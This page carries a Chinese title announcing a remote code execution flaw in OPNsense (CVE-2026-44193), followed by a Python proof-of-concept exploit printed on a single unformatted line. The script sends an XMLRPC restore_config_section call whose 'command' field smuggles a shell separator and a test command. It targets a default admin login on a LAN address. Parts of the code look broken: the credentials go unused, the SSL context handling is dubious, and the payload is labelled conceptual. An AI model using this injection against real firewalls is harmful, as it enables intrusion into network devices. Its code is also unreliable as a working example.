CVE-2026-44193 OPNsense远程代码执行漏洞

import xmlrpc.client import urllib3 # Disable SSL warning for self-signed certificates (common in firewalls) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_opnsense(target_url, username, password): """ Proof of Concept for CVE-2026-44193. Demonstrates calling the vulnerable XMLRPC method. Note: High privileges (Admin/API key) are required. """ try: # Create the XMLRPC client proxy # In a real scenario, authentication headers/tokens might be handled differently client = xmlrpc.client.ServerProxy(target_url, context=urllib3.PoolManager().connection_pool_kw.get('ssl_context')) # The vulnerable method: opnsense.restore_config_section # We construct a malicious payload that attempts to execute a command # Example payload structure (conceptual, actual payload depends on specific backend logic) malicious_payload = { "system": { "user": "root", "group": "wheel", "command": "; touch /tmp/pwned; # " # Injecting command separator } } print(f"[*] Attempting to exploit {target_url}...") # Call the vulnerable method # This assumes the session is already authenticated via cookie or HTTP auth in the URL response = client.opnsense.restore_config_section(malicious_payload) print("[+] Payload sent successfully.") print(f"[+] Server response: {response}") except Exception as e: print(f"[-] Exploitation failed: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "https://192.168.1.1/xmlrpc.php" USER = "admin" PASS = "opnsense" exploit_opnsense(TARGET, USER, PASS)